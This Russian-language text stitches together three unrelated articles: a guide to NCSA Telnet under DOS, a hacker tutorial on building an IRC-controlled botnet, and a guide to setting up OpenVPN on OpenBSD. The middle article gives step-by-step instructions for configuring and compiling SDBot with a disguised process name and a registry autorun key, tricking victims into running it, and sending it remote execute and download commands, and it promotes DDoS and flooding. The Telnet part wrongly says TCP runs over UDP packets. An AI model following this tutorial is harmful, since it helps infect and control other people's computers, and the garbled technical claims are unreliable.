конецформыначалоформыВ Telnet, как правило, вкладывают два смысла. Во первых Telnet — это протокол эмуляции терминала, через который осуществляется удаленный доступ в Internet. А во вторых, telnet это программа UNIX с аналогичными функциями (пишется с маленькой буквы, ибо в UNIX это важно). Запустив такую программу, вы увидите на экране своего монитора удаленный терминал. Все это может быть реальностью только за деньги, То есть вы должны получить доступ в Internet на уровне Dial-up. Впрочем, в Internet существуют сервера, которые предоставляют бесплатный ограниченный доступ через Telnet к некоторым базам данных.
Программа telnet через определенные команды позволяет управлять параметрами сеанса связи только через командный режим. Это означает, что сначала вы коннектитесь с удаленным хостом и после того как нажимаете escape-последовательность, попадаете в командный режим telnet. Сеанс связи поддерживается как вашим софтом, так и софтом удаленной машины. Если копать глубже, то связь осуществляется через протокол TCP посредством пакетов UDP.
Таким образом Telnet это:
? регистрация на удаленном компьютере;
? использование софта Internet, в том числе клиентских программ на удаленном компьютере.
? запуск доступного софта на удаленном компьютере.
Далее мы будем разбирать Telnet на основе программы NCSA Telnet. Этот софт предоставляет интерактивный доступ с писишного компьютера к телнетовским серверам сети TCP/IP.
NSCA Telnet
Многие, говоря о Telnet, подразумевают UNIX. А те, кто считают, что знают UNIX, работают в Internet через Telnet. Мы уходим от тех и от других. На время. Мы погрузимся в старый добрый DOS, так как NCSA Telnet работает в стандартной MS DOS.
Запуск NCSA Telnet осуществляется после ввода следующей команды:
telnet hostname
Если все набрано правильно, то вы соединитесь с хостом hostname. Этот хост попросит вас ввести регистрационное имя и пароль.
NCSA Telnet эмулирует терминал VT100. Но операционка удаленного хоста не может определить тип вашего терминала. Вы должны определить его сами. Для удаленных UNIX-компьютеров введите:
newton% set term=vt100;tset
Выход из NCSA Telnet зависит от того количества сессий, которое вы имеете в данный момент. То есть, вы должны разорвать связь с каждым хостом.
Результатом ваших действий должно быть обычное приглашение вашей операционки.
Вы также можете завершить сеанс через комбинацию клавиш Alt-X. Эта команда закрывает только текущую сессию.
Лучшие клавиатурные эквиваленты
? Alt-A Дополнительная сессия.
? Alt-N Следующая сессия.
? Alt-D Перехватить активный текст и послать его в файл.
? Alt-Z Сделать сессию невидимой, но
активизированной.
? Alt-E Выйти в оболочку DOS.
? Alt-G Графическое меню.
? Alt-C Включить/отключить режим перехвата.
? Alt-R Отключить экран VT100.
? Alt-H Подсказка.
? Alt-Y Прервать процесс.
? Alt-B Предыдущая сессия.
? Alt-O Блокировать вывод.
? Alt-U Удалить строку.
? Alt-K Удалить символ.
? Alt-F Начать передачу файла.
? Home Выйти из графического режима.
? Alt-I Переслать IP-адрес удаленному компьютеру.
? Alt-S Пропустить прокрутку.
? Alt-P Изменить параметры.
? Alt-X Закрыть соединение.
Непонятный VT100 и ясный локальный терминал
В NCSA Telnet терминал вашего компьютера отображается на удаленном компьютере как терминал VT100. Вы же работаете на PC. Поэтому некоторые клавиши вашего компьютера отличаются от аналогичных на VT100.
Сразу несколько сессий? ОК!
NCSA Telnet позволяет открывать несколько сессий одновременно. Для этого вы должны ввести:
telnet hostname hostname …
где hostname — имя компьютера, с которым вы коннектитесь.
Что там есть в нашей строке состояния? Все!
Терминал VT100 удаленного компьютера требует 24 строки. В 25 строке локального компьютера вы можете видеть состояние собственной сессии. Выделенные символы отображаются в нижнем левом углу. Все эти символы соответствуют удаленному хосту. Остальные символы могут отображать все что угодно.
Открываем еще одну сессию
Открыть еще одну сессию на текущем удаленном хосте или на другом хосте можно через клавиатурную комбинацию Alt-A.
Указываем на хоста
Вы можете телнетиться только через IP-адрес. Поэтому ваша первая задача — определить IP-адрес удаленного компьютера. Для этого настройте программу на поиск имен посредством соответствующей службы удаленного сервера.
Прокручиваем в режиме обратной прокрутки
Клавиша Scroll Lock позволяет не прокручивать экран, когда идет получение данных и включать/отключать режим обратной прокрутки. Режим обратной прокрутки дает вам возможность перемещать данные на экране стрелками или клавишами PgUp и PgDn. Помните, что в режиме обратной прокрутки нельзя оперировать командами telnet.
Вырезаем и вставляем
Находясь в режиме обратной прокрутки, вы можете копировать части текста одной сессии и вставлять эти части в другую. Попробуем скопировать текст в буфер и затем вставить его из буфера в новую сессию.
1. Включите режим обратной прокрутки посредством нажатия клавиши Scroll Lock.
2. Передвиньте курсор в начало текста и нажмите клавишу пробела.
3. Передвиньте курсор в конец текста и нажмите клавишу пробела.
4. Нажмите Alt-C. Выделенный текст скопирован.
5. Выходим из режима обратной прокрутки и переключаемся на новую сессию посредством нажатия клавиш Alt-N или Alt-B.
6. Помещаем курсор в желаемое место и нажимаем Alt-V.
Выделенный текст помещен в новую сессию.
Переключаемся между сессиями
Переключиться между двумя активными сессиями можно через команду Alt-N. Имя активизированной сессии вы можете увидеть в левой нижней части экрана. Если вы хотите вернуться в старую сессию, то вы можете это сделать через команду Alt-B.
Просматриваем сообщения экрана консоли
Экран консоли отображает информацию, связанную с локальным и удаленным компьютером. Вызвать экран консоли вы можете через Alt-Z.
Закрываем текущую сессию
Командой Alt-X закрывается текущая сессия. Используя эту команду, мы наблюдали сбои на удаленном компьютере.
Перехватываем текст экрана
Если нажать Alt-C, то можно перехватить текст экрана и направить его в файл (то есть добавить текст к файлу capfile) или распечатать. Если вы повторно выберите команду Alt-C, вы отключите режим перехвата.
Если в меню Parameters вместо стандартного файла для перехвата указать prn, то можно распечатать перехваченный текст.
Невозможно перехватить текст активной сессии, если включен перехват в фоновой сессии. Решить эту проблему можно командой Alt-D.
Игнорируем бесконечный текст
Если вы хотите пропустить идущий бесконечным потоком текст, нажмите Alt-S. Вы пропустите текст только на экране, то есть сам текст будет находиться в буфере перехвата.
Перезагружаем экран VT100
Если вам не понравился текущий тип терминала и вы желаете установить новые параметры VT100 (точнее их установит удаленный компьютер), нажмите Alt-R. Параметры вашего экрана VT100, в этом случае, переустановятся таким образом, что отключится режим упаковки, разблокируется графический режим, а табуляторы установятся на каждую восьмую позицию.
Все! Надоело! Больше не могу!
Команда Ctrl-Shift-F3 применяется в том случае, когда ни одна из сессий не работает, Scroll Lock не горит, нажатие клавиш ALT-R и/или ALT-X не приводит ни к какому результату. После выполнения команды Ctrl-Shift-F3 вы выйдите из Telnet в DOS.
Не разрывая связь, выходим в DOS
Если вы хотите выйти в DOS и при этом оставаться в сессиях, нажмите Alt-E. В досовской оболочке вы можете использовать любые программы, кроме сетевой версии NCSA Telnet, сетевой версии программа FTP пользователя и программы format. Возврат в Telnet осуществляется командой exit.
Устанавливаем параметры
Если вы хотите изменить цвета, задать новый эхо-режим, настроить клавишу стирания символов, управлять режимом экрана и режимом пересылки файлов, дать другое имя сессии, типу терминала и файлу перехвата, нажмите Alt-P. После того, как вы в появившемся диалоговом окне Parameters модифицируете необходимые опции, нажмите клавишу F1 (для сохранения изменений) или Esc (для сохранения предыдущих параметров).
Символы или строки?
Вы можете воспользоваться достоинствами построчного режима в случае, если вам долго отвечает удаленный компьютер. Вы просто втаскиваете данные в буфер и пересылаете их единым пакетом на удаленный компьютер через нажатие клавиши Return. При этом вы можете воспользоваться следующими клавиатурными комбинациями:
? если вы нажмете Ctrl-U, то буфер очистится.
? удаление последнего символа, добавленного в буфер осуществляется клавишей Backspace.
? после нажатия клавиши Tab данные буфера вместе с символом табуляции немедленно отправятся на удаленный компьютер.
Два замечания относительно построчного режима:
? любой управляющий символ можно отправить на удаленный компьютер лишь в том случае, если этот символ снабдить приставкой ^.
? нельзя переслать на удаленный компьютер комбинации
Ctrl-U или Backspace.
В случае символьного режима ваши данные передаются на удаленный компьютер непосредственно в процессе их набора. Этот режим позволяет использовать весь экран вашего монитора для редактирования данных.
А что если нажать Backspace?!
По умолчанию, клавиша Backspace преобразовывается в код клавиши Delete. Некоторые удаленные компьютеры работают только с клавишей Backspace. Чтобы добиться совместимости, необходимо открыть меню Parameters и переустановить код клавиши Backspace.
Хочу другое имя сессии!
Вы можете изменить имя сессии появляющееся в строке состояния в правом нижнем углу через меню Parameters. В соответствующее поле данных вы можете ввести до 13 символов.
Хочу другой терминал!
В большинстве сессий эмулируется терминал VT100. У вас имеются другие возможности эмуляции:
? выбрать VT100 с графикой Tektronix 4014.
? использовать только команды VT100.
? игнорировать коды VT100 и Tektronix 4014.
Автоматический перенос строки
Если вы не хотите смотреть на беспорядочный поток символов, используйте символы конца строк. При включенной опции автоматического переноса строки переполненный текст автоматически переходит на следующую строку.
Адаптируемся к графическому интерфейсу
Как правило, режим быстрого вывода текста через буфер экрана несовместим с Windows. В файле конфигурации посредством опции bios вы можете установить так называемый режим адаптации.
В этом режиме текст на экране выводится через специальную программу, использующую доступ к BIOS.
Приветсвую всех хакеров,крэкэров,кодеров и новичков!С вами снова я – redbu11.Ну вот я опять пишу сатью,и в этот раз на одну очень интерестную тему.Всё меньше и меньше я стал видеть в инете сатей о таких монстрах как БОТНЕТ.Я думаю все мы знаем что это такое,ну а те кто не знают что это,то не надо расстраиватся!Я сегодня вам раскажу не только что это такое,но и как это всё организовать!Давайте наконец приступим к изучению.
И так,вы наверное все спрашивавете,а что же такое ботнет,и что такое бот?Я вам прямо сейчас и дам ответы на все эти вопросы:
1-”Бот-компьютер” – это компьютер, на котором установлена бот-программа,при помощи которой “хозяин” может управлять этим компьютером. Боты применяются чаще в хакерских целях.
2-Сама “бот программа” – это программа,которая выполняет какое-то определённое действия автоматически для которого она спрограммированна,и которой в большинстве случаев,управляет её “хозяин”.Боты могут быть разными,бывают ICQ боты,бывают боты которые предназначенны для спама сайтов,боты которые сидят на сайтах,чатах,автоматически отравляя сообщения или отвечая на них…Но в этой статье пойдёт речь совсем о других ботах,о которых будет описано чуть ниже.
3-Ботнет – это некоторое количество компьютеров зараженных специальным трояном, (в нашем случае это будет бот) который объединяет этот компьютер и остальные зараженные компьютеры в одну единую сеть,которой управляет “хозяин”.Другими словами,ботнет это зараженная сеть компьютеров,которая подчиняется “хозяину”.
Зараженный компьютер,бот-программа превращает в так называемый “Компьютер зомби” который подчиняется своему “хозяину”.Ботнеты (сеть компьютерав зараженных ботами) чаще всего используются хакерами для рассылки спама с этих зараженных компов,так же их используют в качестве прокси,при этом хакер остаётся незамеченным совершая взломы,или же для DDos атак,что заключается в посылке множество пакетов разной информации на атакуемый сервер с зараженных компьютеров,что приводит к тому что атакуемый сервер тратит все свои материалы на обработку этих запросов,а на запросы обычных пользователей уже ответить не может,и сервер виснет.Но для этого нужна уже большая сеть зараженных компьютеров.
Многие боты используют так называемую технологиию “stealth” ,которая позволяет боту быть полностью невидимым в системе,и сидеть там так тихо,что пользователь даже не будет и подозревать что в его системе находиться бот.Некоторые боты-черви используют технологию самораспространения.Используя нашумевшие дыры в винде,боты могут сами распространяться по сети,заражая ежедневно сотни и тысячи компьютеров,обычно такие боты пишутся под заказ и стоят очень много денег.Но не все так плохо как кажется.Существует множество публичных ботов которые может скачать любой желающий и создать свою бот-сеть.
Владея большой сетью ботнетов,мы уже имеем преимущество,и можем смотеть на многих “с высока”.Вдруг нас кто то обидел на сайте или форуме,тогда мы можем спокойно его например зафлудить.Так-что,имея такую армию,мы уже можем многое.
Заинтересовало?Тогда едем дальше!
Ботнетом можно управлять 3 способами: HTTP,IRC и MAIL.На сегодняшний день,самые популярные способы это IRC и HTTP.В этой статье я расскажу вам как завести свою бот-сеть,которая будет управляться через IRC канал.( Тем кто незнают что это такое могут ознакомится с этим здесь http://www.cqham.ru/ircinfo.htm ).
Бот который мы сегодня будем использовать для создания ботнета,это будет SD-Bot,наш бот,от русского издателя.Это самый простой и нормальный бот,поддеривающий такие функции как DoS,Администрирование IRC-канала…А теперь маленькое продставление о том как это всё будет действовать:
-Мы Берём IRC клиент,подключаемся к любому IRC сервверу,например irc.dalnet.ru,регестрируем там себе IRC канал на котором будут отчитыватся боты.Далее берём исходники бота,настраеваем их под себя,указывая к какому серверу и каналу должны будут подключатся боты,компилируем исходники в exe с помощью компилятора.Когда бот готов,мы его кому-нибудь впариваем,жертва запускает бота,и после запуска этот бот скрыто от пользователя заходит на указанный ему IRC-канал,и сидит там,а мы потом заходим на этот канал,и отдаём команды боту,тем самым управляя зараженным компютером.Так же он прописывает себя в автозапуск (а точнее ключ в реестер).
-Ну о том как будет действовать бот мы уже разобрались.А теперь давайте откроем банку пива и врубим хороший музон,разберём всё это в подробностях и научмися создавать свой ботнет! ![]()
И так,приступим дамы и господа:
ЭТАП ПЕРВЫЙ – СОЗДАНИЕ КАНАЛА.
-Как уже упоменалось чуть выше,ботами мы будем управлять через IRC-канал,для этого мы сейчас будем регестрировать канал для ботов.Берём IRC-клиент,(подойдёт mIRC) устанавливаем,запускаем,заполняем всё что нас просят (Ник,Имя и т.д…)и жмём ОК.Далее жмём в программе File – Select Server.Нажимаем Add вписываем нужный нам IRC-сервер (пускай это будет irc.dalnet.ru) и всё остальное,жмём ОК,потом мы видим что в списке серверов появился наш добавленный,кликаем по нему 2 раза,и жмём ОК.Всё,мы выбрали к какому серверу будем подключатся,теперь подключаемся,(Это можно сделать нажимая File – Connect,или нажав на значёк молнии на тулбаре в программе.)Ну вот мы подключились к серверу,и нам сначало нужно зарегестрировать свой ник на этом сервере(Помните что все команды IRC начинаются с символа ” / “).Делаем это следующий командой:
/msg NickServ REGISTER желаемый_пароль ваш_email
Допустим что мы хотим зарегистрировать наш ник с паролем haker и email-ом vasia@mail.ru.(Ник указывать не надо,так как вы его уже указали в программе при её запуске) Тогда эта команда будет выглядеть вот так:
/msg NickServ REGISTER haker vasia@mail.ru
Наверняка вам вышлют письмо на указзаный е-мейл для подтерждения регистрации ника.И так,ник зарегестрирован,теперь переходим к следующему этапу – регистрацию IRC канала для наших ботов.Сначала давайте подберём подходящее название канала ( Напоминаю,все названия каналов начинаются с символа решетки ” # ” ).Давайте назовём его #sdbot.И так,для того чтоб зарегистрировать наш канал #sdbot нам сначало нужно на него зайти.Делаем это следующий командой:
/join #sdbot
Этим мы указали что хотим подключится к каналу #sdbot.ОК,вводим предыдущую команду и жмём ENTER.И мы попадаем на наш ещё несуществующий канал,где мы видим что в списке тех кто подключён к каналу перед нашим ником стоит символ @.Это означает то что админы на этом канале МЫ.И так,теперь давайте регестрировать канал.В окошке НАШЕГО канала вписываем следующую команду:
/msg ChanServ register #канал пароль_на_канал описание_канала
Для того чтобы зарегисрировать наш канал с названием #sdbot,паролем haker,и описанием “просто_канал”,то команда будет выглядеть так:
/msg ChanServ REGISTER #sdbot haker просто_канал
Вводим предыдущую команду и жмём ENTER.И всё!После этого ваш канал будет зарегестрирован!На этом первый этап законьчен,и мы с вами можем открыть ещё одну банку пива,сделать музон ещё громче,и смело переходить к следующему этапу.
ЭТАП ВТОРОЙ – НАСТРОЙКА И КОМПИЛЯЦИЯ БОТА.
Ну вот, мы подходим к самому интерестному моменту.Канал у нас есть,теперь нужны исходники бота.Скачать SDBot-a вы сможете с сайта нашей группы http://unlock-team.ucoz.ru/ в разделе “Софт и Видео”.Ещё вам будет необходим компилятор для компиляции бота,для этого дела нужен будет LCC компилятор,скачать вы его сможете тоже с нашего сайта в том же разделе.И так,качаем всё нужное,устанавливаем компилятор,и распаковываем всё содержимое из архива с ботом в папку на рабочий стол (можно конечно и в другое место,но так удобней).
Далее,в папки с ботом лежит такой файл – sdbot05a.cpp,это и есть его исходники,и нам надо их настроить под себя,для этого открываем этот файл текстовым редактором,и ищем там в начале файла следующии строки и настраеваем их под себя (После символа коментария ” // ” я буду пояснять что надо вписывать):
// bot configuration
const char botid[] = “set_me”; // ID бота,можно вписать что угодно.
const char password[] = “set_me”; // пароль на бота
const int maxlogins = 4; // Оставляем как есть
const char server[] = “set_me”; // сервер к которому будет подключатся бот
const int port = 6667; // Оставляем как ессть
const char server2[] = “”; // Необязательно указыввать,это на тот случай если первый сервер будет недоступным,то бот подключится к второму.
const int port2 = 6667; // Оставояем как есть
const char serverpass[] = “”; // Тут тоже оставляем как и есть
const char channel[] = “set_me”; // Канал кудаботы будут подключатся
const char chanpass[] = “”; // Пароль канала (Только на тот случай если вы поставили пароль для доступак каналу)
const BOOL topiccmd = FALSE; // Оставляем как есть
const BOOL rndfilename = FALSE; // Оставляем как есть
const char filename[] = “cnfgld32.exe”; // Названия файла которое будет отобраэатся в процесах
const BOOL regrun = TRUE; // Оставляем как есть
const BOOL regrunservices = TRUE; // Оставляем как есть
const char valuename[] = “Configuration Loader”; // Названия ключа в реестере
const char prefix = ‘.’; // префикс названия ботов (только один символ)
const char version[] = “sdbot v0.5a by [sd]“; // Метка бота
const int cryptkey = 0; // Оставляем как есть
const int maxaliases = 16; // Оставляем как есть
Ну вот,вписываем вместо слова set_me нужный нам параметр,и сохраняем изменения (Файл – Сохранить).
Вот и всё,бот настроен.Теперь нужно его скомпилировать.Компилятор установлен?Тогда приступим к компиляции.
Для того чтобы скомпилировать его,на этот разва не придётся это делать из командной строки.Всё гораздо проще.В папки с ботом,лежит батник,(Batch файл) Если в него нужно внести изменеия то делаем это.Потом запускаем этот батник,и еси всё правильно сделано,то в папки с исходниками появится exe файл,это и будет наш бот.
Ну вот теперь всё готово для нашей дальнееший атаки.Теперь можно про банку с пивом забыть бообще,и переходить к третьему этапу,так как всё интерестное будет там.
ЭТАП ТРЕТИЙ – ЗАПУСК И КОНТРОЛЬ НАД БОТАМИ.
А вот теперь братцы хакеры и новички,самый интерестный момент!Использования бота!Приступим:
И так у нас всё готово для нашей атаки,канал и бот есть.Впариваем кому нибудь бота,или сначало протестируем на себе,неважно,главное чтобы его сейчас запустили.Ну так вот,идём на сервер на котором зарегистрирован канал,и коннектимся к каналу.
Далее запускаем наш бот…И что мы видим!На наш канал зашел бот,которого мы только что запустили!Ура!Цель достигнута.
Теперь самый момент вспомнить про пиво,и наслаждаться управляя ботом. ![]()
Мы можем отдавать команды боту,которые мы хотим чтоб он выполнил на зараженном компе.Давайте дадим ему команду:
.about
И в ответ мы видим:
: sdbot version 0.4c by [sd] (sdbot@mail.ru). homepage:
sdbot.n3.net/
Как мы видим,бот послушно выполнил нашу команду – показать инфу о создателе бота.
Вот некоторые другие каманды:
cycle : уйти на несколько секунд с канала, а потом опять зайти.
die : Боты убивают сами себя.Так сказать самоубийство
execute [parameters] : запустить файл на компьютере жертвы
download : скачать файл на зараженный комп.
ping <# of pings> – ПИНГ – Без комантариев))
Это самые основные команды,остальные команды вы сможете найти в HTML файле которыйв архиве с ботом.
Ну вот и всё,согласись,всё очень просто.Но правда иногда сталкеваешься с проблемами,вот например как я – У меня боты почему-то не заходили на канал,сколько я не пробовал,не как.Но после долгих мучений я достиг результата.Просто тут нужно иметь много терпения и желания это всёделать.
Ну вот и подошла к концу моя статья.Надеюсь она вам оказалось полезной,или познавательной.Читайте,изучайе,и пробуйте,и помните,главное иметь терпение и желания.
Виртуально расширяем границы интранета с помощью OpenVPN
Когда речь заходит о необходимости предоставления авторизированному пользователю доступа к защищенным ресурсам частной сети, на ум сразу приходят примеры построения VPN на базе IPSec, PPTP, L2TP и SSL. Однако если требуется в кратчайшие сроки развернуть бесплатное, кросс-платформенное, полнофункциональное ПО с гибкими возможностями конфигурирования и относительно простой установкой, не требующей вмешательства в ядро ОС, то из всех доступных решений выбор невольно падает на OpenVPN.
Поем дифирамбы OpenVPN
OpenVPN является реализацией технологии VPN с использованием протокола SSL/TLS. С его помощью можно поднять надежный, достаточно быстрый и в то же время защищенный от прослушивания и вмешательства злоумышленников криптотуннель поверх общедоступной сети, такой как интернет. В двух словах схему работы этого приложения можно описать следующим образом: любой сетевой трафик, посылаемый или принимаемый сетевым адаптером, инкапсулируется в зашифрованный пакет и доставляется в другой конечный пункт туннеля OpenVPN, где данные расшифровываются и попадают в удаленную сеть.
К числу основных преимуществ применения OpenVPN стоит отнести следующие:
* высокая переносимость между платформами – пакет работает на Windows 2000/XP/2003/Vista, Linux, Free/Net/OpenBSD, Mac OS X и Solaris;
* поддержка режимов маршрутизации (routed) и моста (bridged), другими словами, нам под силу туннелировать как IP-пакеты, так и Ethernet-фреймы;
* для транспорта можно использовать UDP/TCP;
* клиентские хосты могут иметь статические и динамические IP-адреса;
* туннели можно создавать поверх NAT;
* работа через межсетевые экраны, в которых реализован контроль состояния соединений (достигается за счет отправки через определенные промежутки времени echo-запросов);
* ассиметричное шифрование с использованием статических ключей и SSL/TLS-сертификатов;
* встроенные меры безопасности для предотвращения DoS-атак и повторного проигрывания злоумышленником последовательности записанных пакетов;
* адаптивная компрессия передаваемых данных;
* способность «проталкивать» маршруты для клиента;
* использование всех механизмов шифрования, встроенных в библиотеку OpenSSL;
* работа в chroot-окружении;
* поддержка мультипоточной библиотеки pthread (положительно влияет на быстродействие при динамическом обмене SSL/TLS-ключами).
Как видишь, список возможностей впечатляет, но в отличие от других SSL VPN, достоинством которых считается бесклиентская установка (соединение SSL VPN устанавливается через браузер), для OpenVPN необходим специальный клиент (поговорим об этом ниже).
Увертюра к основному действию
Предположим, одним прекрасным солнечным утром твое высокое начальство впечатлилось идеей создания виртуальной частной сети, и теперь перед тобой стоит задача поднять VPN-сервер для служащих, которым требуется работать с корпоративными ресурсами, находясь вне стен офиса (это могут быть надомные, командированные сотрудники или просто фрилансеры).
Функции шлюза компании, выпускающего сотрудников в интернет, выполняет компьютер с тремя сетевыми картами (213.167.XX.YY, 192.168.1.1, 192.168.2.1) под управлением… хотя это не так важно, настройки в поддерживаемых операционках будут отличаться минимально. В моем случае на сервере заказчика была установлена OpenBSD 3.9. Что касается корпоративной внутренней сети, то она состоит из двух участков: проводного (192.168.1.0/24) и беспроводного (192.168.2.0/24). После рекогносцировки на местности переходим к установке OpenVPN.
Серверная инсталляция
OpenVPN без труда можно найти в любом репозитарии или дереве портов:
# cd /usr/ports/net/openvpn
# make install clean
В случае установки из исходных кодов в некоторых системах может понадобиться отключить поддержку реализации потоков выполнения и указать местоположение библиотек и заголовочных файлов lzo:
# ./configure –disable-pthread –with-lzo-lib=/usr/local/lib
–with-lzoheaders=/usr/local/include
# make
# make install
Для проверки с помощью следующих команд можно посмотреть, какие дайджесты (применяются для аутентификации каждой получаемой UDP-датаграммы) и алгоритмы шифрования доступны:
# /usr/local/sbin/openvpn –show-digests
# /usr/local/sbin/openvpn –show-ciphers
Чтобы обеспечить дополнительный уровень защиты и застраховаться от возможного ущерба при взломе, нужно дать указание демону OpenVPN работать с правами непривилегированного пользователя в chroot’ной среде – среде с измененным корневым каталогом. Первый шаг для этого – добавить в систему группу _openvpn и одноименного пользователя:
# groupadd -g 500 _openvpn
# useradd -u 500 -g 500 -c ‘OpenVPN Server’ -s /sbin/nologin
-d /var/openvpn -m _openvpn
Проверяем правильность выполнения двух последних команд:
# grep 500 /etc/passwd
_openvpn:*:500:500:OpenVPN Server:/var/openvpn:/sbin/nologin
Золотые ключики и подарочные сертификаты
Думаю, ни для кого не секрет, что сертификаты открытых ключей предоставляют удобный и надежный способ аутентификации пользователей, поэтому не будем сейчас тратить время на теоретическую часть и перейдем непосредственно к процедуре генерирования надлежащих сертификатов.
Создаем директорию, где будут лежать конфигурационные файлы, скрипты и сертификаты:
# mkdir -p /etc/openvpn/keys
Копируем комплект скриптов easy-rsa, предназначенный для упрощения создания сертификатов, которые предъявляются в процессе аутентификации для подтверждения валидности клиентов. Теперь о монстроидальных командах openssl можно забыть.
# cp -r /usr/local/share/examples/openvpn/easy-rsa /etc/openvpn
Далее следует экспортировать переменные KEY_*, они необходимы для работы скриптов build-*:
# cd /etc/openvpn/easy-rsa
# . ./vars
Инициализируем директорию /etc/openvpn/easy-rsa/keys:
# ./clean-all
Создаем корневой и серверный сертификаты:
# ./build-ca
# ./build-key-server server
Для создания файла параметров Диффи-Хелмана, предназначенного для обеспечения более надежной защиты данных при установке соединения клиента с сервером, выполняем:
# ./build-dh
Снизить вероятность успешного проведения DoS-атаки на сервер OpenVPN можно за счет использования клиентом и сервером статического ключа HMAC (так называемый shared secret):
# /usr/local/sbin/openvpn –genkey –secret keys/ta.key
Перемещаем все созданные файлы в подкаталог keys и выставляем для них корректные права доступа:
# cd keys/
# mv ca.crt dh1024.pem server.crt server.key ta.key /etc/openvpn/keys
# chown -R root:wheel /etc/openvpn
# chmod 700 /etc/openvpn/keys
# chmod 644 /etc/openvpn/keys/{ca.crt,dh1024.pem,server.crt}
# chmod 600 /etc/openvpn/keys/{server.key,ta.key}
Процедура создания клиентских сертификатов практически аналогична соответствующей процедуре для сервера:
# ./build-key client1
# mkdir -p /home/vpn/client1
# mv client1.crt client1.key /home/vpn/client1
# cp /etc/openvpn/keys/{ca.crt,ta.key} /home/vpn/client1
Теперь подкаталог client1 следует перенести на винт или флешку «географически изолированного» сотрудника.
Щепетильное конфигурирование
Конфигурация сервера OpenVPN хранится в файле /etc/openvpn/server.conf. Ниже приведен пример подобного конфига. Все опции детально прокомментированы, поэтому сложностей возникнуть не должно. При настройке старайся «не срезать углы» – за один шаг добавляй/изменяй что-то одно и сразу же тестируй. Все действия в server.conf желательно фиксировать в локальном cvs-репозитории, чтобы можно было быстро просмотреть историю изменений и вернуться к рабочей ревизии.
# vi /etc/openvpn/server.conf
; Работаем в режиме демона
daemon openvpn
; Указываем местоположение файла с уникальным идентификатором процесса сервера OpenVPN
writepid /var/openvpn/pid
; Определяем файл, содержащий список текущих клиентских соединений
status /var/openvpn/status 10
; Внешний IP-адрес нашего сервера
local 213.167.XX.YY
; Используемый порт
port 1194
; Для транспорта по умолчанию применяется протокол UDP. Это вполне резонный подход. Во-первых, благодаря меньшему размеру заголовков и отсутствию встроенной функции подтверждения доставки пакетов, производительность UDP значительно выше. А во-вторых, при использовании UDP общая надежность не снижается, так как OpenVPN шифрует исходные пакеты, обеспечивая проверку ошибок и повторную передачу. В связи с этим TCP рекомендуется применять только в тех случаях, когда UDP не работает (например, если брандмауэр блокирует весь UDP-трафик).
proto udp
; Выбираем тип виртуального устройства туннеля (tun, tap или null)
dev tun0
; Включаем компрессию передаваемых данных
comp-lzo
; Указываем абсолютные пути к созданным сертификатам и ключам
ca /etc/openvpn/keys/ca.crt
cert /etc/openvpn/keys/server.crt
key /etc/openvpn/keys/server.key
dh /etc/openvpn/keys/dh1024.pem
; Значение 0 следует использовать на сервере, 1 – на клиенте
tls-auth /etc/openvpn/keys/ta.key 0
; Для большинства сетей подойдет режим маршрутизатора (routed). Да, в этом случае широковещательный трафик отсутствует, соответственно, не будут работать некоторые протоколы, которые его используют, например NetBIOS поверх TCP. Но последнее нивелируется развертыванием WINS-сервера, либо подключением сетевых дисков/созданием ярлыков на расшаренные ресурсы
server 192.168.3.0 255.255.255.0
; «Проталкиваем» подключенным клиентам статические маршруты, чтобы они могли получить доступ к ресурсам проводной и беспроводной сети
push “route 192.168.1.0 255.255.255.0″
push “route 192.168.2.0 255.255.255.0″
; Не позволяем соединению разорваться при простое
keepalive 10 120
; Алгоритмы, используемые для аутентификации и шифрования пакетов
auth SHA1
cipher AES-256-CBC
; Максимальное число одновременно подключенных VPN-пользователей
max-clients 10
; Задаем файл журналирования событий и уровень детализации журнала, отображаем не более 20 экземпляров одного сообщения (остальные отбрасываем)
log-append /var/log/openvpn.log
verb 3
mute 20
; Пользователь и группа, с правами которых работает демон
user _openvpn
group _openvpn
; Эти опции предотвращают доступ к некоторым ресурсам (например, tun-устройству) при перезапуске демона (рекомендуется применять только при снижении привилегий)
persist-key
persist-tun
; Сажаем демона в chroot-окружение
chroot /var/empty
Чтобы не вбивать директивы вручную, можно воспользоваться примером конфига, любезно предоставленным разработчиками:
# cp /usr/local/share/examples/openvpn/sample-config-files/server.conf /etc/openvpn
Поднимаем виртуальный интерфейс tun0:
# echo “up” > /etc/hostname.tun0
# sh /etc/netstart tun0
Запускаем сервер OpenVPN командой:
# /usr/local/sbin/openvpn –config /etc/openvpn/server.conf
Для автоматической загрузки OpenVPN достаточно прописать эту строчку в стартовый сценарий /etc/rc.local. Например, так:
# vi /etc/rc.local
if [ -x /usr/local/sbin/openvpn ]; then
echo -n ‘ openvpn’; /usr/local/sbin/openvpn –config /etc/openvpn/server.conf
fi
Далее смотрим в логи, чтобы убедиться в успешной загрузке нашего демона:
# tail /var/log/openvpn.log
Sun Dec 2 15:31:37 2007 IFCONFIG POOL: base=192.168.3.4 size=62
Sun Dec 2 15:31:37 2007 Initialization Sequence Completed
Чтобы проверить состояние псевдоустройства туннелирования, можно воспользоваться утилитой ifconfig:
# ifconfig tun0
tun0: flags=8051 mtu 1500
groups: tun
inet 192.168.3.1 –> 192.168.3.2 netmask 0xffffffff
Для корректной работы сервера OpenVPN необходимо разрешить прохождение любого трафика через интерфейс OpenVPN, а также входящие подключения на внешний адрес сервера порт 1194/udp:
# vi /etc/pf.conf
pass quick on { lo tun0 $int_if } inet
pass in on $ext_if inet proto udp from any to $ext_if port 1194
keep state
Перезагружаем набор рулесетов файрвола:
# pfctl -f /etc/pf.conf
Инсталляция на стороне клиента
Итак, VPN-сервер работает и готов принимать подключения. Развертывание VPN-клиентов для VPN-подключений удаленного доступа состоит из двух действий: установка программы OpenVPN GUI (http://openvpn.se/files/install_packages/openvpn-2.0.9-gui-1.0.3-install.exe) и правка конфигурационного файла client*.ovpn.
C:Program FilesOpenVPNconfigmycompany_client1.ovpn
; Работаем в режиме клиента
client
dev tun
; Указываем IP-адрес и порт VPN-сервера
remote 213.167.XX.YY 1194
proto udp
resolv-retry infinite
nobind
pull
comp-lzo
persist-key
persist-tun
verb 3
; Я предпочитаю хранить crt- и key-файлы на флешке
ca “f:vpnmycompanyca.crt”
cert “f:vpnmycompanyclient1.crt”
key “f:vpnmycompanyclient1.key”
tls-auth “f:mycompanyta.key” 1
ns-cert-type server
; Нижеследующие алгоритмы должны совпадать с теми, что заданы на сервере
auth SHA1
cipher AES-256-CBC
; Без этих двух директив Vista-клиенты не смогут получать маршруты от сервера
; route-method exe
; route-delay 2
